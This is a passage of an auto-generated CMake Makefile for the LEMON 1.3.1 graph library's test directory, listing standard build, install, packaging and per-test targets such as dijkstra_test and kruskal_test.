directory...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target package_source\npackage_source:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Run CPack packaging tool for source...\"\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && /usr/local/Cellar/cmake/3.11.1/bin/cpack --config ./CPackSourceConfig.cmake /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build/CPackSourceConfig.cmake\n.PHONY : package_source\n\n# Special rule for the target package_source\npackage_source/fast: package_source\n\n.PHONY : package_source/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake cache editor...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/ccmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(CMAKE_COMMAND) -E cmake_progress_start /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build/CMakeFiles /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build/test/CMakeFiles/progress.marks\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\ntest/CMakeFiles/tsp_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/tsp_test.dir/rule\n.PHONY : test/CMakeFiles/tsp_test.dir/rule\n\n# Convenience name for target.\ntsp_test: test/CMakeFiles/tsp_test.dir/rule\n\n.PHONY : tsp_test\n\n# fast build rule for target.\ntsp_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/tsp_test.dir/build.make test/CMakeFiles/tsp_test.dir/build\n.PHONY : tsp_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/time_measure_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/time_measure_test.dir/rule\n.PHONY : test/CMakeFiles/time_measure_test.dir/rule\n\n# Convenience name for target.\ntime_measure_test: test/CMakeFiles/time_measure_test.dir/rule\n\n.PHONY : time_measure_test\n\n# fast build rule for target.\ntime_measure_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/time_measure_test.dir/build.make test/CMakeFiles/time_measure_test.dir/build\n.PHONY : time_measure_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/suurballe_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/suurballe_test.dir/rule\n.PHONY : test/CMakeFiles/suurballe_test.dir/rule\n\n# Convenience name for target.\nsuurballe_test: test/CMakeFiles/suurballe_test.dir/rule\n\n.PHONY : suurballe_test\n\n# fast build rule for target.\nsuurballe_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/suurballe_test.dir/build.make test/CMakeFiles/suurballe_test.dir/build\n.PHONY : suurballe_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/random_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/random_test.dir/rule\n.PHONY : test/CMakeFiles/random_test.dir/rule\n\n# Convenience name for target.\nrandom_test: test/CMakeFiles/random_test.dir/rule\n\n.PHONY : random_test\n\n# fast build rule for target.\nrandom_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/random_test.dir/build.make test/CMakeFiles/random_test.dir/build\n.PHONY : random_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/path_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/path_test.dir/rule\n.PHONY : test/CMakeFiles/path_test.dir/rule\n\n# Convenience name for target.\npath_test: test/CMakeFiles/path_test.dir/rule\n\n.PHONY : path_test\n\n# fast build rule for target.\npath_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/path_test.dir/build.make test/CMakeFiles/path_test.dir/build\n.PHONY : path_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/arc_look_up_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/arc_look_up_test.dir/rule\n.PHONY : test/CMakeFiles/arc_look_up_test.dir/rule\n\n# Convenience name for target.\narc_look_up_test: test/CMakeFiles/arc_look_up_test.dir/rule\n\n.PHONY : arc_look_up_test\n\n# fast build rule for target.\narc_look_up_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/arc_look_up_test.dir/build.make test/CMakeFiles/arc_look_up_test.dir/build\n.PHONY : arc_look_up_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/min_mean_cycle_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/min_mean_cycle_test.dir/rule\n.PHONY : test/CMakeFiles/min_mean_cycle_test.dir/rule\n\n# Convenience name for target.\nmin_mean_cycle_test: test/CMakeFiles/min_mean_cycle_test.dir/rule\n\n.PHONY : min_mean_cycle_test\n\n# fast build rule for target.\nmin_mean_cycle_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_mean_cycle_test.dir/build.make test/CMakeFiles/min_mean_cycle_test.dir/build\n.PHONY : min_mean_cycle_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/planarity_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/planarity_test.dir/rule\n.PHONY : test/CMakeFiles/planarity_test.dir/rule\n\n# Convenience name for target.\nplanarity_test: test/CMakeFiles/planarity_test.dir/rule\n\n.PHONY : planarity_test\n\n# fast build rule for target.\nplanarity_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/planarity_test.dir/build.make test/CMakeFiles/planarity_test.dir/build\n.PHONY : planarity_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/min_cost_flow_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/min_cost_flow_test.dir/rule\n.PHONY : test/CMakeFiles/min_cost_flow_test.dir/rule\n\n# Convenience name for target.\nmin_cost_flow_test: test/CMakeFiles/min_cost_flow_test.dir/rule\n\n.PHONY : min_cost_flow_test\n\n# fast build rule for target.\nmin_cost_flow_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_cost_flow_test.dir/build.make test/CMakeFiles/min_cost_flow_test.dir/build\n.PHONY : min_cost_flow_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/matching_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/matching_test.dir/rule\n.PHONY : test/CMakeFiles/matching_test.dir/rule\n\n# Convenience name for target.\nmatching_test: test/CMakeFiles/matching_test.dir/rule\n\n.PHONY : matching_test\n\n# fast build rule for target.\nmatching_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/matching_test.dir/build.make test/CMakeFiles/matching_test.dir/build\n.PHONY : matching_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/maps_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/maps_test.dir/rule\n.PHONY : test/CMakeFiles/maps_test.dir/rule\n\n# Convenience name for target.\nmaps_test: test/CMakeFiles/maps_test.dir/rule\n\n.PHONY : maps_test\n\n# fast build rule for target.\nmaps_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/maps_test.dir/build.make test/CMakeFiles/maps_test.dir/build\n.PHONY : maps_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/lgf_reader_writer_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/lgf_reader_writer_test.dir/rule\n.PHONY : test/CMakeFiles/lgf_reader_writer_test.dir/rule\n\n# Convenience name for target.\nlgf_reader_writer_test: test/CMakeFiles/lgf_reader_writer_test.dir/rule\n\n.PHONY : lgf_reader_writer_test\n\n# fast build rule for target.\nlgf_reader_writer_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/lgf_reader_writer_test.dir/build.make test/CMakeFiles/lgf_reader_writer_test.dir/build\n.PHONY : lgf_reader_writer_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/lgf_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/lgf_test.dir/rule\n.PHONY : test/CMakeFiles/lgf_test.dir/rule\n\n# Convenience name for target.\nlgf_test: test/CMakeFiles/lgf_test.dir/rule\n\n.PHONY : lgf_test\n\n# fast build rule for target.\nlgf_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/lgf_test.dir/build.make test/CMakeFiles/lgf_test.dir/build\n.PHONY : lgf_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/min_cost_arborescence_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/min_cost_arborescence_test.dir/rule\n.PHONY : test/CMakeFiles/min_cost_arborescence_test.dir/rule\n\n# Convenience name for target.\nmin_cost_arborescence_test: test/CMakeFiles/min_cost_arborescence_test.dir/rule\n\n.PHONY : min_cost_arborescence_test\n\n# fast build rule for target.\nmin_cost_arborescence_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_cost_arborescence_test.dir/build.make test/CMakeFiles/min_cost_arborescence_test.dir/build\n.PHONY : min_cost_arborescence_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/heap_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/heap_test.dir/rule\n.PHONY : test/CMakeFiles/heap_test.dir/rule\n\n# Convenience name for target.\nheap_test: test/CMakeFiles/heap_test.dir/rule\n\n.PHONY : heap_test\n\n# fast build rule for target.\nheap_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/heap_test.dir/build.make test/CMakeFiles/heap_test.dir/build\n.PHONY : heap_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/bpgraph_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/bpgraph_test.dir/rule\n.PHONY : test/CMakeFiles/bpgraph_test.dir/rule\n\n# Convenience name for target.\nbpgraph_test: test/CMakeFiles/bpgraph_test.dir/rule\n\n.PHONY : bpgraph_test\n\n# fast build rule for target.\nbpgraph_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bpgraph_test.dir/build.make test/CMakeFiles/bpgraph_test.dir/build\n.PHONY : bpgraph_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/max_clique_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/max_clique_test.dir/rule\n.PHONY : test/CMakeFiles/max_clique_test.dir/rule\n\n# Convenience name for target.\nmax_clique_test: test/CMakeFiles/max_clique_test.dir/rule\n\n.PHONY : max_clique_test\n\n# fast build rule for target.\nmax_clique_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_clique_test.dir/build.make test/CMakeFiles/max_clique_test.dir/build\n.PHONY : max_clique_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/graph_copy_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/graph_copy_test.dir/rule\n.PHONY : test/CMakeFiles/graph_copy_test.dir/rule\n\n# Convenience name for target.\ngraph_copy_test: test/CMakeFiles/graph_copy_test.dir/rule\n\n.PHONY : graph_copy_test\n\n# fast build rule for target.\ngraph_copy_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_copy_test.dir/build.make test/CMakeFiles/graph_copy_test.dir/build\n.PHONY : graph_copy_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/fractional_matching_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/fractional_matching_test.dir/rule\n.PHONY : test/CMakeFiles/fractional_matching_test.dir/rule\n\n# Convenience name for target.\nfractional_matching_test: test/CMakeFiles/fractional_matching_test.dir/rule\n\n.PHONY : fractional_matching_test\n\n# fast build rule for target.\nfractional_matching_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/fractional_matching_test.dir/build.make test/CMakeFiles/fractional_matching_test.dir/build\n.PHONY : fractional_matching_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/gomory_hu_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/gomory_hu_test.dir/rule\n.PHONY : test/CMakeFiles/gomory_hu_test.dir/rule\n\n# Convenience name for target.\ngomory_hu_test: test/CMakeFiles/gomory_hu_test.dir/rule\n\n.PHONY : gomory_hu_test\n\n# fast build rule for target.\ngomory_hu_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/gomory_hu_test.dir/build.make test/CMakeFiles/gomory_hu_test.dir/build\n.PHONY : gomory_hu_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/nagamochi_ibaraki_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/nagamochi_ibaraki_test.dir/rule\n.PHONY : test/CMakeFiles/nagamochi_ibaraki_test.dir/rule\n\n# Convenience name for target.\nnagamochi_ibaraki_test: test/CMakeFiles/nagamochi_ibaraki_test.dir/rule\n\n.PHONY : nagamochi_ibaraki_test\n\n# fast build rule for target.\nnagamochi_ibaraki_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/nagamochi_ibaraki_test.dir/build.make test/CMakeFiles/nagamochi_ibaraki_test.dir/build\n.PHONY : nagamochi_ibaraki_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/radix_sort_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/radix_sort_test.dir/rule\n.PHONY : test/CMakeFiles/radix_sort_test.dir/rule\n\n# Convenience name for target.\nradix_sort_test: test/CMakeFiles/radix_sort_test.dir/rule\n\n.PHONY : radix_sort_test\n\n# fast build rule for target.\nradix_sort_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/radix_sort_test.dir/build.make test/CMakeFiles/radix_sort_test.dir/build\n.PHONY : radix_sort_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/counter_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/counter_test.dir/rule\n.PHONY : test/CMakeFiles/counter_test.dir/rule\n\n# Convenience name for target.\ncounter_test: test/CMakeFiles/counter_test.dir/rule\n\n.PHONY : counter_test\n\n# fast build rule for target.\ncounter_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/counter_test.dir/build.make test/CMakeFiles/counter_test.dir/build\n.PHONY : counter_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/bellman_ford_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/bellman_ford_test.dir/rule\n.PHONY : test/CMakeFiles/bellman_ford_test.dir/rule\n\n# Convenience name for target.\nbellman_ford_test: test/CMakeFiles/bellman_ford_test.dir/rule\n\n.PHONY : bellman_ford_test\n\n# fast build rule for target.\nbellman_ford_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/bellman_ford_test.dir/build.make test/CMakeFiles/bellman_ford_test.dir/build\n.PHONY : bellman_ford_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/graph_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/graph_test.dir/rule\n.PHONY : test/CMakeFiles/graph_test.dir/rule\n\n# Convenience name for target.\ngraph_test: test/CMakeFiles/graph_test.dir/rule\n\n.PHONY : graph_test\n\n# fast build rule for target.\ngraph_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/graph_test.dir/build.make test/CMakeFiles/graph_test.dir/build\n.PHONY : graph_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/edge_set_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/edge_set_test.dir/rule\n.PHONY : test/CMakeFiles/edge_set_test.dir/rule\n\n# Convenience name for target.\nedge_set_test: test/CMakeFiles/edge_set_test.dir/rule\n\n.PHONY : edge_set_test\n\n# fast build rule for target.\nedge_set_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/edge_set_test.dir/build.make test/CMakeFiles/edge_set_test.dir/build\n.PHONY : edge_set_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/max_cardinality_search_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/max_cardinality_search_test.dir/rule\n.PHONY : test/CMakeFiles/max_cardinality_search_test.dir/rule\n\n# Convenience name for target.\nmax_cardinality_search_test: test/CMakeFiles/max_cardinality_search_test.dir/rule\n\n.PHONY : max_cardinality_search_test\n\n# fast build rule for target.\nmax_cardinality_search_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_cardinality_search_test.dir/build.make test/CMakeFiles/max_cardinality_search_test.dir/build\n.PHONY : max_cardinality_search_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/euler_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/euler_test.dir/rule\n.PHONY : test/CMakeFiles/euler_test.dir/rule\n\n# Convenience name for target.\neuler_test: test/CMakeFiles/euler_test.dir/rule\n\n.PHONY : euler_test\n\n# fast build rule for target.\neuler_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/euler_test.dir/build.make test/CMakeFiles/euler_test.dir/build\n.PHONY : euler_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/unionfind_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/unionfind_test.dir/rule\n.PHONY : test/CMakeFiles/unionfind_test.dir/rule\n\n# Convenience name for target.\nunionfind_test: test/CMakeFiles/unionfind_test.dir/rule\n\n.PHONY : unionfind_test\n\n# fast build rule for target.\nunionfind_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/unionfind_test.dir/build.make test/CMakeFiles/unionfind_test.dir/build\n.PHONY : unionfind_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/error_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/error_test.dir/rule\n.PHONY : test/CMakeFiles/error_test.dir/rule\n\n# Convenience name for target.\nerror_test: test/CMakeFiles/error_test.dir/rule\n\n.PHONY : error_test\n\n# fast build rule for target.\nerror_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/error_test.dir/build.make test/CMakeFiles/error_test.dir/build\n.PHONY : error_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/dim_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/dim_test.dir/rule\n.PHONY : test/CMakeFiles/dim_test.dir/rule\n\n# Convenience name for target.\ndim_test: test/CMakeFiles/dim_test.dir/rule\n\n.PHONY : dim_test\n\n# fast build rule for target.\ndim_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dim_test.dir/build.make test/CMakeFiles/dim_test.dir/build\n.PHONY : dim_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/dijkstra_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/dijkstra_test.dir/rule\n.PHONY : test/CMakeFiles/dijkstra_test.dir/rule\n\n# Convenience name for target.\ndijkstra_test: test/CMakeFiles/dijkstra_test.dir/rule\n\n.PHONY : dijkstra_test\n\n# fast build rule for target.\ndijkstra_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dijkstra_test.dir/build.make test/CMakeFiles/dijkstra_test.dir/build\n.PHONY : dijkstra_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/digraph_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/digraph_test.dir/rule\n.PHONY : test/CMakeFiles/digraph_test.dir/rule\n\n# Convenience name for target.\ndigraph_test: test/CMakeFiles/digraph_test.dir/rule\n\n.PHONY : digraph_test\n\n# fast build rule for target.\ndigraph_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/digraph_test.dir/build.make test/CMakeFiles/digraph_test.dir/build\n.PHONY : digraph_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/dfs_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/dfs_test.dir/rule\n.PHONY : test/CMakeFiles/dfs_test.dir/rule\n\n# Convenience name for target.\ndfs_test: test/CMakeFiles/dfs_test.dir/rule\n\n.PHONY : dfs_test\n\n# fast build rule for target.\ndfs_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/dfs_test.dir/build.make test/CMakeFiles/dfs_test.dir/build\n.PHONY : dfs_test/fast\n\n# Convenience name for target.\ntest/CMakeFiles/kruskal_test.dir/rule:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f CMakeFiles/Makefile2 test/CMakeFiles/kruskal_test.dir/rule\n.PHONY : test/CMakeFiles/kruskal_test.dir/rule\n\n# Convenience name for target.\nkruskal_test: test/CMakeFiles/kruskal_test.dir/rule\n\n.PHONY : kruskal_test\n\n# fast build rule for target.\nkruskal_test/fast:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f 